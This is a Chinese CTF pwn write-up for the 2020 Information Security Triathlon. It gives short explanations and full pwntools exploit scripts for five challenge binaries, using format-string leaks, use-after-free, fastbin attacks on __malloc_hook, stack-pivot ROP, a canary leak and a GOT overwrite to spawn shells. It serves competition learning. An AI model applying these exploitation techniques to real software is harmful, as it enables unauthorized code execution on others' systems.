第一赛区

hacknote

  程序存在格式化字符串漏洞和uaf,不多说了,很简单。

  1. 1 from pwn import *
  2. 2
  3. 3 p = process('./hacknote')
  4. 4 elf = ELF('./hacknote')
  5. 5 libc = ELF('./libc.so.6')
  6. 6 context.log_level = 'debug'
  7. 7 #by bhxdn
  8. 8
  9. 9 def duan():
  10. 10 gdb.attach(p)
  11. 11 pause()
  12. 12
  13. 13 def add(size,content):
  14. 14 p.sendlineafter('choice :','1')
  15. 15 p.sendlineafter('size :',str(size))
  16. 16 p.sendafter('Content :',content)
  17. 17
  18. 18 def delete(index):
  19. 19 p.sendlineafter('choice :','2')
  20. 20 p.sendlineafter('Index :',str(index))
  21. 21
  22. 22 def show(index):
  23. 23 p.sendlineafter('choice :','3')
  24. 24 p.sendlineafter('Index :',str(index))
  25. 25
  26. 26 #leak libc_base
  27. 27 p.sendafter('name!\n','%13$p')
  28. 28 p.recvuntil('hello ,')
  29. 29 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
  30. 30 print 'libc_base-->' + hex(libc_base)
  31. 31 shell = libc_base + 0x45226
  32. 32
  33. 33 add(0x20,'aaaaaaaa')
  34. 34 add(0x20,'bbbbbbbb')
  35. 35 delete(0)
  36. 36 delete(1)
  37. 37 add(0x10,p64(shell))
  38. 38 show(0)
  39. 39 p.interactive()

heap

  同样是存在格式化字符串漏洞和uaf漏洞。

  说一下格式化字符串漏洞泄露libc吧。

  这里我直接看偏移为25的值。然后pwndbg看栈的情况,我直接stack 300看栈情况。然后放到文本中去找。

  25偏移下面那个箭头,所以__libc_start_main+240就是偏移19。所以就%19$p就可以leak libc版本和地址了。

  程序存在uaf漏洞,fastbins attack来攻击__malloc__hook,这里还需要利用realloc来调整一下栈帧来让one_gadget生效。

  1. 1 from pwn import *
  2. 2
  3. 3 p = process('./heap')
  4. 4 elf = ELF('./heap')
  5. 5 libc = ELF('./libc.so.6')
  6. 6 context.log_level = 'debug'
  7. 7 #by bhxdn
  8. 8
  9. 9 def duan():
  10. 10 gdb.attach(p)
  11. 11 pause()
  12. 12
  13. 13 def add(size):
  14. 14 p.sendlineafter('choice: ','1')
  15. 15 p.sendlineafter('item: ',str(size))
  16. 16
  17. 17 def delete(index):
  18. 18 p.sendlineafter('choice: ','4')
  19. 19 p.sendlineafter('item: ',str(index))
  20. 20
  21. 21 def edit(index,content):
  22. 22 p.sendlineafter('choice: ','3')
  23. 23 p.sendlineafter('item: ',str(index))
  24. 24 p.sendafter('data: ',content)
  25. 25
  26. 26 def show(index):
  27. 27 p.sendlineafter('choice: ','2')
  28. 28 p.sendlineafter('item: ',str(index))
  29. 29
  30. 30
  31. 31 #leak libc_base
  32. 32 p.sendafter('name: ','%19$p')
  33. 33 p.recvuntil('Hello, ')
  34. 34 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
  35. 35 print 'pianyi-->' + hex(libc.symbols['__libc_start_main'])
  36. 36 print 'libc_base-->' + hex(libc_base)
  37. 37 shell = libc_base + 0x4527a
  38. 38
  39. 39 add(0x20) #0
  40. 40 add(0x60) #1
  41. 41 delete(1)
  42. 42 edit(1,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
  43. 43 add(0x60) #1 2
  44. 44 add(0x60) #attack
  45. 45 edit(3,'a'*(0x13-8)+p64(shell)+p64(libc_base+libc.symbols['realloc']+0xc))
  46. 46 add(0x60)
  47. 47 p.interactive()

第二赛区

stackstorm

  可以往堆写入两次数据(但似乎并没有什么用),可以栈溢出,但是只能溢出0x10字节。

  利用第一次溢出泄露栈地址,然后第二次在栈上布置rop,利用栈转移迁移到我们布置的rop链上,leak了libc地址,然后返回到main函数,直接将返回地址覆盖成one_gadget就可以了。

  1. 1 from pwn import *
  2. 2
  3. 3 p = process('./stackstorm')
  4. 4 elf = ELF('./stackstorm')
  5. 5 libc = ELF('./libc.so.6')
  6. 6 context.log_level = 'debug'
  7. 7
  8. 8 pop_rdi = 0x00400903
  9. 9 leave_ret = 0x04007C1
  10. 10 buf = elf.bss()+0x100
  11. 11 main = 0x04007C3
  12. 12
  13. 13 p.sendafter('data1:\n','bhxdn')
  14. 14 payload = 'a'*(0x70-1)+'b'
  15. 15 p.sendafter('data2:\n',payload)
  16. 16 p.recvuntil('b')
  17. 17 stack_addr = u64(p.recv(6).ljust(8,'\x00'))
  18. 18 print 'stack_addr-->' + hex(stack_addr)
  19. 19
  20. 20 p.sendafter('data1:\n','bhxdn')
  21. 21 payload = 'aaaaaaaa' + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)+p64(0)*9+p64(stack_addr-0x20-0x70)+p64(leave_ret)
  22. 22 p.sendafter('data2:\n',payload)
  23. 23 p.recv(12)
  24. 24 libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
  25. 25 print 'libc_base-->'+hex(libc_base)
  26. 26 shell = libc_base+0x4527a
  27. 27
  28. 28 payload = 'a'*0x70+'bbbbbbbb'+p64(shell)
  29. 29 p.send('bhxdn')
  30. 30 p.sendafter('data2:\n',payload)
  31. 31 p.interactive()

第三赛区

待更新

第四赛区

namepie

  程序本身有system("/bin/sh"),两个输入,可以利用第一个输入leak canary。

  图片可以看到rbp下面是程序本身的地址。开启pie 的程序,后三位是不会变的,所以只覆盖最后一个字节,覆盖成shell的字节,就拿到shell了。

exp:

  1. 1 from pwn import *
  2. 2
  3. 3 elf = ELF('./namepie')
  4. 4 context.log_level = 'debug'
  5. 5
  6. 6 shell = 0x000A71
  7. 7
  8. 8 p = process('./namepie')
  9. 9 p.recvuntil('Name:\n')
  10. 10 p.send('a'*0x28+'b')
  11. 11 p.recvuntil('b')
  12. 12 canary = u64(p.recv(7).rjust(8,'\x00'))
  13. 13 print 'canary-->' + hex(canary)
  14. 14 p.recv()
  15. 15 p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'\x71')
  16. 16 p.sendline('ls')
  17. 17 p.recvuntil('namepie')
  18. 18 p.interactive()

onetime

  是一道菜单堆题。调试的时候发现bss段上有7f。

  存在uaf,先malloc一个chunk,再free掉,修改fd为bss段上的地址。然后再申请两次申请回来。这时候就可以控制bss上的数据,并且有一个可以读写的指针。

  将指针指向malloc_got,泄露libc地址,然后修改malloc_got为one_gadget的地址,再执行malloc就拿到shell了。

  1. 1 from pwn import *
  2. 2
  3. 3 p = process('./pwn')
  4. 4 elf = ELF('./pwn')
  5. 5 libc = ELF('./libc.so.6')
  6. 6 context.log_level = 'debug'
  7. 7
  8. 8 def duan():
  9. 9 gdb.attach(p)
  10. 10 pause()
  11. 11
  12. 12 def add():
  13. 13 p.sendlineafter('choice >>\n','1')
  14. 14
  15. 15 def edit(content):
  16. 16 p.sendlineafter('choice >>\n','2')
  17. 17 p.sendafter('content:',content)
  18. 18
  19. 19 def show():
  20. 20 p.sendlineafter('choice >>\n','3')
  21. 21
  22. 22 def delete():
  23. 23 p.sendlineafter('choice >>\n','4')
  24. 24
  25. 25 def gift(content):
  26. 26 p.sendlineafter('choice >>\n','5')
  27. 27 p.sendafter('name:',content)
  28. 28
  29. 29 attack_addr = 0x0006020BC-0x2f
  30. 30 #x/32gx 0x0006020BC-0x24
  31. 31 add()
  32. 32 delete()
  33. 33 edit(p64(attack_addr))
  34. 34 add()
  35. 35 gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100))
  36. 36
  37. 37 show()
  38. 38 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['malloc']
  39. 39 print 'libc_base-->' + hex(libc_base)
  40. 40 shell = libc_base + 0x45226
  41. 41
  42. 42
  43. 43 edit(p64(shell))
  44. 44 add()
  45. 45 p.interactive()

2020信息安全铁人三项 pwn复盘的更多相关文章

  1. [BUUCTF]PWN——铁人三项(第五赛区)_2018_rop

    铁人三项(第五赛区)_2018_rop[32位libc泄露] 题目附件 解题步骤: 例行检查,32位,开启了NX保护 试运行一下程序,一开始让我们输入,然后直接输出"Hellow,world ...

  2. 铁人三项(第五赛区)_2018_seven

    铁人三项(第五赛区)_2018_seven 先来看看保护 保护全开,IDA分析 首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw 读入的都shellcode长度小于等于7,且这7个字符不 ...

  3. 网站SEO之百度优化不得不知的铁人三项规则

    奥运会有铁人三项,此运动更好的协调了运动员的综合素质水平,而百度优化排名中的“铁人三项”规则则是让网站的整体质量更好的满足市场用户体验.针对不同部分的操作,可以让网站在每个细节处都能凸显以人为本的服务 ...

  4. Phaser铁人三项

    /** * 模拟铁人三项 */ public class PhaserTest { private static Random random = new Random(System.currentTi ...

  5. 2018铁人三项测评题 IOS99

    下面这一部分是我从网上复制过来的, 2.IOS 解题链接:http://ctf4.shiyanbar.com/web/IOS/index.php 这题页面中提示系统升级到了IOS99,我们可以想到修改 ...

  6. 铁人三项(第五赛区)_2018_rop

    拿到程序依旧老样子checksec和file一下 可以看到是32位的程序开启了nx保护,将程序放入ida进行查看 shift+f12 看到没有system和binsh等字样,考虑用泄露libc来做这道 ...

  7. 计算几何-LA2218-HPI-第一次卡精度-vijos1087-铁人三项

    This article is made by Jason-Cow.Welcome to reprint.But please post the writer's address. http://ww ...

  8. 【BZOJ】【2765】【JLOI2010】铁人双项比赛

    计算几何/半平面交 本来我是想去写POJ 1755的,然后想起了这道跟它很像的题,但应该是弱化版,所以就先写了这个…… 我们可以发现每个人的总用时,与k是呈一次函数关系的:$time_i=\frac{ ...

  9. 【APIO2018】铁人两项(圆方树,动态规划)

    [APIO2018]铁人两项(圆方树,动态规划) 题面 UOJ 洛谷 BZOJ 题解 嘤嘤嘤,APIO的时候把一个组合数写成阶乘了,然后这题的70多分没拿到 首先一棵树是很容易做的,随意指定起点终点就 ...

随机推荐

  1. [cf1103E]Radix sum

    类似于uoj272,即$B=10$的情况,然后有以下几个细节问题: 1.答案对$2^{58}$取模可以先使用自然溢出模$2^{64}$,最后对$2^{58}$取模即可 2.为了避免实数,令$\omeg ...

  2. [hdu6761]Minimun Index

    $lyndon\ word$(以下简写为Lw):对于一个字符串s,其为Lw当且仅当其的最小后缀为自身 性质:若$u<v$为LW,那么$uv$也为Lw(反证法即可证) $lyndon$分解:将一个 ...

  3. Java 单例模式大乱斗

    1. 饿汉模式 线程安全 public class SingleInstance1 { private static SingleInstance1 single=new SingleInstance ...

  4. 最强最全面的Hive SQL开发指南,超四万字全面解析

    本文整体分为两部分,第一部分是简写,如果能看懂会用,就直接从此部分查,方便快捷,如果不是很理解此SQL的用法,则查看第二部分,是详细说明,当然第二部分语句也会更全一些! 第一部分: hive模糊搜索表 ...

  5. 【NOIP 2018】摆渡车

    前情提要 是的 我终于回来补坑了 一年了哇 你这个鸽子王 斜率优化版本 今天在复习斜率优化的时候才想起来这个题 定义就不设了 大家想看可以看上面那个原版 怎么斜率优化呢? 我们考虑\(i\)点是当前的 ...

  6. 【NOI 2002 银河英雄传说】【带权并查集】

    题面 公元五八○一年,地球居民迁移至金牛座α第二行星,在那里发表银河联邦创立宣言,同年改元为宇宙历元年,并开始向银河系深处拓展. 宇宙历七九九年,银河系的两大军事集*在巴米利恩星域爆发战争.泰山压顶集 ...

  7. Codeforces 698F - Coprime Permutation(找性质)

    Codeforces 题面传送门 & 洛谷题面传送门 u1s1 感觉这个 D1F 比某道 jxd 作业里的 D1F 质量高多了啊,为啥这场的 D 进了 jxd 作业而这道题没进/yun 首先这 ...

  8. THUSC2021 & ISIJ2021 游记

    Day -? 4.25 部分摘自日记. 前几天父亲问我 "这个 ISIJ 你要不要报名",我想反正自己 NOIP 和省选那么炸,就当玩玩算了,于是说 "随便吧,那就报呗. ...

  9. python检验代理ip是否可用、代理ip检验

    python检验代理ip是否可用.代理ip检验 安装相关模块: pip install requests 验证代理IP是否可用脚本: import random import telnetlib im ...

  10. 学习java的第十四天

    一.今日收获 1.完成了手册第二章没有验证完成的例题 2.预习了第三章的算法以及for语句与if语句的用法 二.今日难题 1.验证上出现问题,没有那么仔细. 2.第二章还有没有完全理解的问题 三.明日 ...